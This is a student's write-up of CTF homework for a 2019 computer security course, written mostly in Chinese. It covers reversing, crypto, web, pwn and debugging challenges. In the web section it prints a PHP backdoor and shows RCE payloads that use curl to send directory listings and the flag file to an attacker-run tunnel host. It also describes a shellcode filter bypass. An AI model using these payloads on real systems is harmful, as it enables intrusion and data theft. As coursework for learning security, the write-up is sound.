Computer Security 2019 Fall Hw0 Write-Up

> 姓名：陳正康
> 學號：B07902143
> 帳號：soyccan

m4chine

rev

FLAG{W0w_BiiiiiiiiG_SiZe3e3!}

反組釋.pyc檔，看出它是一連串對stack的操作
並用機器碼表示，每兩個BYTE一組
第一個BYTE代表指令 (0:add, 1:cmp, 2:context, 3:empty, 6:pop, 7:push, 8:sub, 9:terminal)
第二個BYTE代表參數
先把那一串機器碼轉成可讀的指令：

```
#  || sub 0
#  || push 8
#  || add 0
#  || cmp 100
#  || terminal 0
#  || add 0
#  || cmp 52
#  || terminal 0
#  || push 51
#  || push 1
#  || push 51
#  || sub 0
#  || add 0
#  || cmp 101
#  || terminal 0
#  || add 0
#  || sub 0
#  || push 99
#  || add 0
#  || cmp 0
#  || terminal 0
#  || add 0
#  || push 52
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || pop 0
#  || cmp 101
#  || terminal 0
#  || pop 0
#  || push 90
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || push 104
#  || add 0
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || pop 0
#  || push 83
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || pop 0
#  || push 95
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || pop 0
#  || push 71
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 106
```

```
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 106
#  || terminal 0
#  || add 0
#  || cmp 67
#  || terminal 0
#  || pop 0
#  || push 0
#  || push 1
#  || add 0
#  || push 2
#  || add 0
#  || push 3
#  || add 0
#  || push 4
#  || add 0
#  || push 5
#  || add 0
#  || push 6
#  || add 0
#  || push 7
#  || add 0
#  || push 8
#  || add 0
#  || push 9
#  || add 0
#  || push 10
#  || add 0
#  || push 11
#  || add 0
#  || push 12
#  || add 0
#  || push 13
#  || add 0
#  || push 4
#  || add 0
#  || sub 0
#  || cmp 0
#  || terminal 0
#  || pop 0
#  || cmp 119
#  || terminal 0
#  || pop 0
#  || cmp 48
#  || terminal 0
#  || add 0
#  || add 0
#  || add 0
#  || add 0
#  || add 0
```

```
#  || add 0
#  || push 19
#  || add 0
#  || cmp 0
#  || terminal 0
```

看出中途有多次檢查stack top，不符合指定的值就結束
flag就是初始的stack，使得每次檢查都通過

solution

先試出flag長度為29時，最後stack會清空
接著把初始stack設為 `[0]` 到 `[28]` 的字串作placeholder
把add, sub等指令改為對字串作操作，結果會像是 `[0]+[1]  [0]-[1]`
把cmp指令輸出，結果如下：(有括號的地方只有一個，人工處理)

```
cmp 8+[28]-[27] == 100
cmp 1+[26] == 52
cmp 51-1+51 == 101
cmp 99+1+1-[25] == 0
cmp 52-1+[24] == 0 ( should be 52-(1+[24]) )
cmp [23] == 101
cmp 90-[22] == 0
cmp 104+1-[21] == 0
cmp 83-[20] == 0
cmp 95-[19] == 0
cmp 71-[18] == 0
cmp 1+[17] == 106
cmp 1+[16] == 106
cmp 1+[15] == 106
cmp 1+[14] == 106
cmp 1+[13] == 106
cmp 1+[12] == 106
cmp 1+[11] == 106
cmp 1+[10] == 106
cmp 1+[9] == 67
cmp 4+13+12+11+10+9+8+7+6+5+4+3+2+1+0-[8] == 0
cmp [7] == 119
cmp [6] == 48
cmp 19+1+[5]+[4]+[3]+[2]+[1]+[0] == 0
```

猜flag[0:5] == 'FLAG{'
其它依序推出

encrypt

crypto

FLAG{q6B3KviyaM}

看原始碼寫解密器，爆破key即可
`assert E**(I*PI) + len(key) == 0` 看出 key 為 0~255
但其實31就出來了
($\because e^{i\pi} = -1 \rightarrow len(key) = 1$)

open my backdoor

web

FLAG{do_u_like_my_d0000000r?}

```
$c=chr(substr_count($f[1],chr(32)));
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_\x50\x4f\x53\x54"}{$c});
```

$c是檔案第二行的空白數，共35，對應到 #
$x是要執行的函數名稱，4個字元，可以用 exec
這樣 `$_GET[87]` 就要傳 `'exec' ^ 'd00r' => '\x01HU\x11'`
`${"_\x50\x4f\x53\x54"}{$c}` 相當於 `$_POST[$c]` 會成為exec的參數
就有RCE了
開一個port監聽回來的資料
看到根目錄有 `/flag_is_here`

solution

```
ncat -l 8000 -k
ssh -R jojo.serveo.net:80:localhost:8000 serveo.net
```

HTTP Request: (it's more simple with Python)
method: POST
url: `http://edu-ctf.csie.org:10151/d00r.php?87=%01HU%11`
data (first turn): `# = curl http://jojo.serveo.net --data "$(ls /)"`
data (second turn): `# = curl http://jojo.serveo.net --data "$(cat /flag_is_here)"`

shellc0de

pwn

FLAG{5hellc0d1ng_f0r_5yscal1_:P}

shellcode有擋掉 `\x00 \x05 \x0f` 這3個byte
也就是不能用 `syscall`
就把原本syscall的地方patch掉，在shellcode中動態改回來即可

Winmagic

misc

FLAG{WinDbg_is_very_important_in_windows_security}

有3個檔案：Winmagic.cpp Winmagic.exe Winmagic.pdb
使用Visual Studio (研究了很久)

1. 用VS開Winmagic.cpp
2. 執行Winmagic.exe
3. Debug -> Attach to Process -> Winmagic.exe
4. 在 if (password == input) 下斷點
    1. 會有警告
    2. (紅點) -> settings -> location -> allow the source code to be different from the original

5. Continue
6. 按每行左邊的綠色箭頭，直接跳到for迴圈
7. Continue